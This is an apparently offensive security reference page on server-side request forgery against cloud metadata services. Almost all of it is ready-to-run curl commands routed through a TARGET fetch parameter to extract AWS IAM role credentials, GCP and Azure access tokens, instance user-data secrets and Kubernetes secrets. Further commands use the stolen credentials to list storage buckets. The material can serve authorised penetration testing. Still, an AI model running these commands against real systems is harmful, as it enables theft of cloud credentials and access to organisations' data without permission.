Cloud Metadata Extraction
| CWE | CWE-918 |
| Tools | ssrfmap |
| Difficulty | 🟡 intermediate |
Extract Cloud Metadata​
Cloud metadata services are the highest-value SSRF targets. They often contain credentials with broad access to cloud resources.
AWS​
IMDSv1 (no authentication required):
# List available metadata categories
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/"
# Discover IAM role name
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Extract IAM role credentials (replace ROLE_NAME with discovered role)
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"
# Instance user-data (often contains bootstrap secrets)
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/user-data"
# EC2 instance identity credentials
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"
IMDSv2 (token required -- harder but sometimes exploitable if the application forwards headers):
# Step 1: Obtain session token via PUT request
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# Step 2: Use token in subsequent requests
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
"http://169.254.169.254/latest/meta-data/"
AWS ECS Task Metadata:
# ECS containers expose credentials at a different endpoint
curl "https://TARGET/fetch?url=http://169.254.170.2/v2/credentials/CREDENTIAL_ID"
# CREDENTIAL_ID comes from AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var
curl "https://TARGET/fetch?url=http://169.254.170.2/v2/metadata"
S3 / Cloud Storage Permissions Check:
After extracting AWS credentials, verify access to S3 buckets:
# List buckets accessible with stolen credentials
AWS_ACCESS_KEY_ID=ASIAXXX AWS_SECRET_ACCESS_KEY=xxx AWS_SESSION_TOKEN=xxx \
aws s3 ls
# Check specific bucket access
AWS_ACCESS_KEY_ID=ASIAXXX AWS_SECRET_ACCESS_KEY=xxx AWS_SESSION_TOKEN=xxx \
aws s3 ls s3://bucket-name/
# Verify minimum permissions to demonstrate impact without exfiltrating data
GCP​
GCP metadata requires the Metadata-Flavor: Google header. Some SSRF vectors forward headers, making this exploitable:
# Recursive dump of all metadata
curl "https://TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/?recursive=true" \
-H "Metadata-Flavor: Google"
# Access token for default service account
curl "https://TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"
# Project ID
curl "https://TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/project/project-id" \
-H "Metadata-Flavor: Google"
# Custom instance attributes (frequently contain secrets)
curl "https://TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/attributes/" \
-H "Metadata-Flavor: Google"
# Alternative hostname (same service)
curl "https://TARGET/fetch?url=http://169.254.169.254/computeMetadata/v1/?recursive=true" \
-H "Metadata-Flavor: Google"
After obtaining a GCP access token, check Cloud Storage bucket permissions:
curl -H "Authorization: Bearer ACCESS_TOKEN" \ # gitleaks:allow
"https://storage.googleapis.com/storage/v1/b/BUCKET_NAME/o"
Azure​
Azure IMDS requires the Metadata: true header:
# Instance metadata
curl "https://TARGET/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
-H "Metadata: true"
# Managed identity OAuth2 token
curl "https://TARGET/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
-H "Metadata: true"
# Older instances
curl "https://TARGET/fetch?url=http://169.254.169.254/metadata/v1/InstanceInfo"
Azure/M365 Tenant Recon: If you obtain Azure credentials, enumerate tenant information:
# Check Azure Blob Storage access
curl -H "Authorization: Bearer ACCESS_TOKEN" \ # gitleaks:allow
"https://ACCOUNT.blob.core.windows.net/CONTAINER?restype=container&comp=list"
Digital Ocean​
curl "https://TARGET/fetch?url=http://169.254.169.254/metadata/v1/"
curl "https://TARGET/fetch?url=http://169.254.169.254/metadata/v1/id"
curl "https://TARGET/fetch?url=http://169.254.169.254/metadata/v1/user-data"
Kubernetes​
# Kubernetes API server
curl "https://TARGET/fetch?url=https://kubernetes.default.svc/api/v1/namespaces/default/secrets"
# Kubelet API (read-only port)
curl "https://TARGET/fetch?url=http://10.0.0.1:10255/pods"
# Service account token (if file read is possible)
# /var/run/secrets/kubernetes.io/serviceaccount/token